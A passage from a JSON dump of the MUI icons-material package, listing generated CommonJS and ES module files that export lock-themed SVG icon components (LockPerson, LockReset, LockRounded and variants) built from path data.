    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockPerson.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.79-1.13-1.26-2.51-1.26-4 0-3.87 3.13-7 7-7M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H8.9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 2c.83 0 1.5.67 1.5 1.5S18.83 18 18 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 6c-1.03 0-1.94-.52-2.48-1.32.73-.42 1.57-.68 2.48-.68s1.75.26 2.48.68c-.54.8-1.45 1.32-2.48 1.32\"\n}, \"1\")], 'LockPerson');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockPerson.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.79-1.13-1.26-2.51-1.26-4 0-3.87 3.13-7 7-7M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H8.9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 2c.83 0 1.5.67 1.5 1.5S18.83 18 18 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 6c-1.03 0-1.94-.52-2.48-1.32.73-.42 1.57-.68 2.48-.68s1.75.26 2.48.68c-.54.8-1.45 1.32-2.48 1.32\"\n}, \"1\")], 'LockPerson');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockPersonOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20V10h12v1c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.42-.6-.75-1.28-.97-2zM9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 2c.83 0 1.5.67 1.5 1.5S18.83 18 18 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 6c-1.03 0-1.94-.52-2.48-1.32.73-.42 1.57-.68 2.48-.68s1.75.26 2.48.68c-.54.8-1.45 1.32-2.48 1.32\"\n}, \"1\")], 'LockPersonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockPersonOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20V10h12v1c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.42-.6-.75-1.28-.97-2zM9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 2c.83 0 1.5.67 1.5 1.5S18.83 18 18 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 6c-1.03 0-1.94-.52-2.48-1.32.73-.42 1.57-.68 2.48-.68s1.75.26 2.48.68c-.54.8-1.45 1.32-2.48 1.32\"\n}, \"1\")], 'LockPersonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockPersonRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.79-1.13-1.26-2.51-1.26-4 0-3.87 3.13-7 7-7M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H8.9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 2c.83 0 1.5.67 1.5 1.5S18.83 18 18 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 6c-1.03 0-1.94-.52-2.48-1.32.73-.42 1.57-.68 2.48-.68s1.75.26 2.48.68c-.54.8-1.45 1.32-2.48 1.32\"\n}, \"1\")], 'LockPersonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockPersonRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.79-1.13-1.26-2.51-1.26-4 0-3.87 3.13-7 7-7M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H8.9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 2c.83 0 1.5.67 1.5 1.5S18.83 18 18 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 6c-1.03 0-1.94-.52-2.48-1.32.73-.42 1.57-.68 2.48-.68s1.75.26 2.48.68c-.54.8-1.45 1.32-2.48 1.32\"\n}, \"1\")], 'LockPersonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockPersonSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.43 11.18c1.26-.29 2.47-.21 3.57.12V8h-3V6.22c0-2.61-1.91-4.94-4.51-5.19C9.51.74 7 3.08 7 6v2H4v14h8.26c-1.01-1.45-1.5-3.3-1.15-5.27.49-2.73 2.63-4.94 5.32-5.55M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H8.9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 2c.83 0 1.5.67 1.5 1.5S18.83 18 18 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 6c-1.03 0-1.94-.52-2.48-1.32.73-.42 1.57-.68 2.48-.68s1.75.26 2.48.68c-.54.8-1.45 1.32-2.48 1.32\"\n}, \"1\")], 'LockPersonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockPersonSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.43 11.18c1.26-.29 2.47-.21 3.57.12V8h-3V6.22c0-2.61-1.91-4.94-4.51-5.19C9.51.74 7 3.08 7 6v2H4v14h8.26c-1.01-1.45-1.5-3.3-1.15-5.27.49-2.73 2.63-4.94 5.32-5.55M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H8.9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 2c.83 0 1.5.67 1.5 1.5S18.83 18 18 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 6c-1.03 0-1.94-.52-2.48-1.32.73-.42 1.57-.68 2.48-.68s1.75.26 2.48.68c-.54.8-1.45 1.32-2.48 1.32\"\n}, \"1\")], 'LockPersonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockPersonTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 10v10h5.29c-.19-.63-.29-1.3-.29-2 0-3.87 3.13-7 7-7v-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20V10h12v1c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.42-.6-.75-1.28-.97-2zM9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 2c.83 0 1.5.67 1.5 1.5S18.83 18 18 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 6c-1.03 0-1.94-.52-2.48-1.32.73-.42 1.57-.68 2.48-.68s1.75.26 2.48.68c-.54.8-1.45 1.32-2.48 1.32\"\n}, \"2\")], 'LockPersonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockPersonTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 10v10h5.29c-.19-.63-.29-1.3-.29-2 0-3.87 3.13-7 7-7v-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20V10h12v1c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.42-.6-.75-1.28-.97-2zM9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 2c.83 0 1.5.67 1.5 1.5S18.83 18 18 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 6c-1.03 0-1.94-.52-2.48-1.32.73-.42 1.57-.68 2.48-.68s1.75.26 2.48.68c-.54.8-1.45 1.32-2.48 1.32\"\n}, \"2\")], 'LockPersonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockReset.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 4 4-4H6c0-3.86 3.14-7 7-7s7 3.14 7 7-3.14 7-7 7c-1.9 0-3.62-.76-4.88-1.99L6.7 18.42C8.32 20.01 10.55 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m2 8v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'LockReset');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockReset.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 4 4-4H6c0-3.86 3.14-7 7-7s7 3.14 7 7-3.14 7-7 7c-1.9 0-3.62-.76-4.88-1.99L6.7 18.42C8.32 20.01 10.55 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m2 8v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'LockReset');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockResetOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9 0 .06.01.12.01.19l-1.84-1.84-1.41 1.41L5 16l4.24-4.24-1.41-1.41-1.82 1.82c0-.06-.01-.11-.01-.17 0-3.86 3.14-7 7-7s7 3.14 7 7-3.14 7-7 7c-1.9 0-3.62-.76-4.88-1.99L6.7 18.42C8.32 20.01 10.55 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m2 8v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'LockResetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockResetOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9 0 .06.01.12.01.19l-1.84-1.84-1.41 1.41L5 16l4.24-4.24-1.41-1.41-1.82 1.82c0-.06-.01-.11-.01-.17 0-3.86 3.14-7 7-7s7 3.14 7 7-3.14 7-7 7c-1.9 0-3.62-.76-4.88-1.99L6.7 18.42C8.32 20.01 10.55 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m2 8v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'LockResetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockResetRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.26 3C8.17 2.86 4 6.94 4 12H2.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.8-2.79c.3-.31.08-.85-.37-.85H6c0-3.89 3.2-7.06 7.1-7 3.71.05 6.84 3.18 6.9 6.9.06 3.91-3.1 7.1-7 7.1-1.59 0-3.05-.53-4.23-1.43-.4-.3-.96-.27-1.31.09-.43.43-.39 1.14.09 1.5C9.06 20.31 10.95 21 13 21c5.06 0 9.14-4.17 9-9.25-.13-4.7-4.05-8.62-8.74-8.75M15 11v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'LockResetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockResetRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.26 3C8.17 2.86 4 6.94 4 12H2.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.8-2.79c.3-.31.08-.85-.37-.85H6c0-3.89 3.2-7.06 7.1-7 3.71.05 6.84 3.18 6.9 6.9.06 3.91-3.1 7.1-7 7.1-1.59 0-3.05-.53-4.23-1.43-.4-.3-.96-.27-1.31.09-.43.43-.39 1.14.09 1.5C9.06 20.31 10.95 21 13 21c5.06 0 9.14-4.17 9-9.25-.13-4.7-4.05-8.62-8.74-8.75M15 11v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'LockResetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockResetSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 4 4-4H6c0-3.86 3.14-7 7-7s7 3.14 7 7-3.14 7-7 7c-1.9 0-3.62-.76-4.88-1.99L6.7 18.42C8.32 20.01 10.55 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m2 8v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1h-1v5h6v-5zm-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'LockResetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockResetSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 4 4-4H6c0-3.86 3.14-7 7-7s7 3.14 7 7-3.14 7-7 7c-1.9 0-3.62-.76-4.88-1.99L6.7 18.42C8.32 20.01 10.55 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m2 8v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1h-1v5h6v-5zm-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'LockResetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockResetTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 4 4-4H6c0-3.86 3.14-7 7-7s7 3.14 7 7-3.14 7-7 7c-1.9 0-3.62-.76-4.88-1.99L6.7 18.42C8.32 20.01 10.55 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m2 8v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'LockResetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockResetTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 4 4-4H6c0-3.86 3.14-7 7-7s7 3.14 7 7-3.14 7-7 7c-1.9 0-3.62-.76-4.88-1.99L6.7 18.42C8.32 20.01 10.55 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m2 8v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'LockResetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M9 8V6c0-1.66 1.34-3 3-3s3 1.34 3 3v2z\"\n}), 'LockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M9 8V6c0-1.66 1.34-3 3-3s3 1.34 3 3v2z\"\n}), 'LockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockSharp.js",
